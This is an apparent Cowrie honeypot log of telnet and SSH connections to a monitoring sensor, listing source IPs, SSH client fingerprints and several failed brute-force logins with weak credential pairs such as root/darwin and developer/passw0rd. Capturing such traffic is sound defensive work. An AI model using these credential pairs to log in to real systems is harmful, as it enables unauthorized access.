{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34970,"dst_ip":"159.203.135.109","dst_port":23,"session":"044a9c08c649","protocol":"telnet","message":"New connection: 161.132.53.68:34970 (159.203.135.109:23) [session: 044a9c08c649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:32.715600Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:33.696015Z","src_ip":"193.24.211.95","session":"685621db4a6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94876766204834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:37.251581Z","src_ip":"161.132.53.68","session":"f8a3e345488c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51256,"dst_ip":"159.203.135.109","dst_port":23,"session":"905548678c20","protocol":"telnet","message":"New connection: 161.132.53.68:51256 (159.203.135.109:23) [session: 905548678c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:37.347845Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51262,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4735532e551","protocol":"telnet","message":"New connection: 161.132.53.68:51262 (159.203.135.109:23) [session: f4735532e551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:38.656659Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51272,"dst_ip":"159.203.135.109","dst_port":23,"session":"246df02e55ce","protocol":"telnet","message":"New connection: 161.132.53.68:51272 (159.203.135.109:23) [session: 246df02e55ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:39.474266Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51280,"dst_ip":"159.203.135.109","dst_port":23,"session":"814718f901d5","protocol":"telnet","message":"New connection: 161.132.53.68:51280 (159.203.135.109:23) [session: 814718f901d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:43.691946Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":51288,"dst_ip":"159.203.135.109","dst_port":23,"session":"3daa60ffec5f","protocol":"telnet","message":"New connection: 161.132.53.68:51288 (159.203.135.109:23) [session: 3daa60ffec5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:45.662634Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41538,"dst_ip":"159.203.135.109","dst_port":23,"session":"7751cc8b1737","protocol":"telnet","message":"New connection: 161.132.53.68:41538 (159.203.135.109:23) [session: 7751cc8b1737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:46.666437Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41550,"dst_ip":"159.203.135.109","dst_port":23,"session":"5455486a3409","protocol":"telnet","message":"New connection: 161.132.53.68:41550 (159.203.135.109:23) [session: 5455486a3409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:48.428509Z"}
{"eventid":"cowrie.session.closed","duration":31.968441486358643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:50.337453Z","src_ip":"104.245.105.2","session":"01aa4649de2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41560,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc1298e2f581","protocol":"telnet","message":"New connection: 161.132.53.68:41560 (159.203.135.109:23) [session: bc1298e2f581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:50.552727Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49638,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e9cc7d6962","protocol":"telnet","message":"New connection: 161.132.53.68:49638 (159.203.135.109:23) [session: 43e9cc7d6962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:57.773222Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":57472,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9db60e568b2","protocol":"ssh","message":"New connection: 223.17.5.126:57472 (159.203.135.109:22) [session: a9db60e568b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:58.322200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:58.327223Z","src_ip":"223.17.5.126","session":"a9db60e568b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41880,"dst_ip":"10.17.0.5","dst_port":23,"session":"61189702511a","protocol":"telnet","message":"New connection: 104.245.105.2:41880 (10.17.0.5:23) [session: 61189702511a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:58.391641Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:58.540063Z","src_ip":"223.17.5.126","session":"a9db60e568b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.656056880950928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:58.556598Z","src_ip":"161.132.53.68","session":"9c66811fdd1e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"darwin","message":"login attempt [root/darwin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:33:59.422968Z","src_ip":"223.17.5.126","session":"a9db60e568b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.659420013427734,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:00.358493Z","src_ip":"161.132.53.68","session":"2c17350d3988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:00.637761Z","src_ip":"223.17.5.126","session":"a9db60e568b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49650,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c53ce5daed","protocol":"telnet","message":"New connection: 161.132.53.68:49650 (159.203.135.109:23) [session: 02c53ce5daed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:02.271349Z"}
{"eventid":"cowrie.session.closed","duration":30.96760129928589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:03.683061Z","src_ip":"161.132.53.68","session":"044a9c08c649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":37352,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b0c8d38153","protocol":"ssh","message":"New connection: 114.35.59.237:37352 (10.17.0.5:22) [session: f3b0c8d38153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:05.651641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:05.656394Z","src_ip":"114.35.59.237","session":"f3b0c8d38153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:05.867343Z","src_ip":"114.35.59.237","session":"f3b0c8d38153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"passw0rd","message":"login attempt [developer/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:06.744392Z","src_ip":"114.35.59.237","session":"f3b0c8d38153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:07.959958Z","src_ip":"114.35.59.237","session":"f3b0c8d38153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.048646211624146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:08.396387Z","src_ip":"161.132.53.68","session":"905548678c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffcf9b4fa33f","protocol":"telnet","message":"New connection: 161.132.53.68:40716 (159.203.135.109:23) [session: ffcf9b4fa33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:08.511934Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40732,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3210a14c813","protocol":"telnet","message":"New connection: 161.132.53.68:40732 (159.203.135.109:23) [session: e3210a14c813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:08.538772Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":58578,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ec35fec18b","protocol":"ssh","message":"New connection: 200.105.172.184:58578 (159.203.135.109:22) [session: 27ec35fec18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:09.762700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:09.769472Z","src_ip":"200.105.172.184","session":"27ec35fec18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.159728288650513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:09.816251Z","src_ip":"161.132.53.68","session":"f4735532e551","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:09.888195Z","src_ip":"200.105.172.184","session":"27ec35fec18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"abc123","message":"login attempt [testuser/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:10.389254Z","src_ip":"200.105.172.184","session":"27ec35fec18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94397473335266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:10.418101Z","src_ip":"161.132.53.68","session":"246df02e55ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:11.510156Z","src_ip":"200.105.172.184","session":"27ec35fec18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59829592704773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:14.290103Z","src_ip":"161.132.53.68","session":"814718f901d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40744,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f1b638a2a88","protocol":"telnet","message":"New connection: 161.132.53.68:40744 (159.203.135.109:23) [session: 0f1b638a2a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:14.636457Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40756,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5c1b5ce76a7","protocol":"telnet","message":"New connection: 161.132.53.68:40756 (159.203.135.109:23) [session: c5c1b5ce76a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:15.438875Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40762,"dst_ip":"159.203.135.109","dst_port":23,"session":"60a94d61f15d","protocol":"telnet","message":"New connection: 161.132.53.68:40762 (159.203.135.109:23) [session: 60a94d61f15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:16.578100Z"}
{"eventid":"cowrie.session.closed","duration":31.478748083114624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:17.141180Z","src_ip":"161.132.53.68","session":"3daa60ffec5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42630,"dst_ip":"159.203.135.109","dst_port":23,"session":"39d59252e608","protocol":"telnet","message":"New connection: 161.132.53.68:42630 (159.203.135.109:23) [session: 39d59252e608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:17.748126Z"}
{"eventid":"cowrie.session.closed","duration":31.202847480773926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:17.869172Z","src_ip":"161.132.53.68","session":"7751cc8b1737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707677841186523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:19.136078Z","src_ip":"161.132.53.68","session":"5455486a3409","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67596125602722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:21.228472Z","src_ip":"161.132.53.68","session":"bc1298e2f581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42638,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e971c1b083b","protocol":"telnet","message":"New connection: 161.132.53.68:42638 (159.203.135.109:23) [session: 0e971c1b083b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:21.642965Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":40222,"dst_ip":"10.17.0.5","dst_port":22,"session":"61dba2e4c795","protocol":"ssh","message":"New connection: 124.18.182.99:40222 (10.17.0.5:22) [session: 61dba2e4c795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:23.718141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:23.729281Z","src_ip":"124.18.182.99","session":"61dba2e4c795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:23.899571Z","src_ip":"124.18.182.99","session":"61dba2e4c795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"1234","message":"login attempt [teste/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:24.628704Z","src_ip":"124.18.182.99","session":"61dba2e4c795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":40576,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae691ed04c31","protocol":"ssh","message":"New connection: 220.119.37.141:40576 (10.17.0.5:22) [session: ae691ed04c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:24.867496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:24.875408Z","src_ip":"220.119.37.141","session":"ae691ed04c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:25.072184Z","src_ip":"220.119.37.141","session":"ae691ed04c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:25.801741Z","src_ip":"124.18.182.99","session":"61dba2e4c795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"zxcvbnm","message":"login attempt [debian/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:34:25.881660Z","src_ip":"220.119.37.141","session":"ae691ed04c31","protocol":"ssh"}
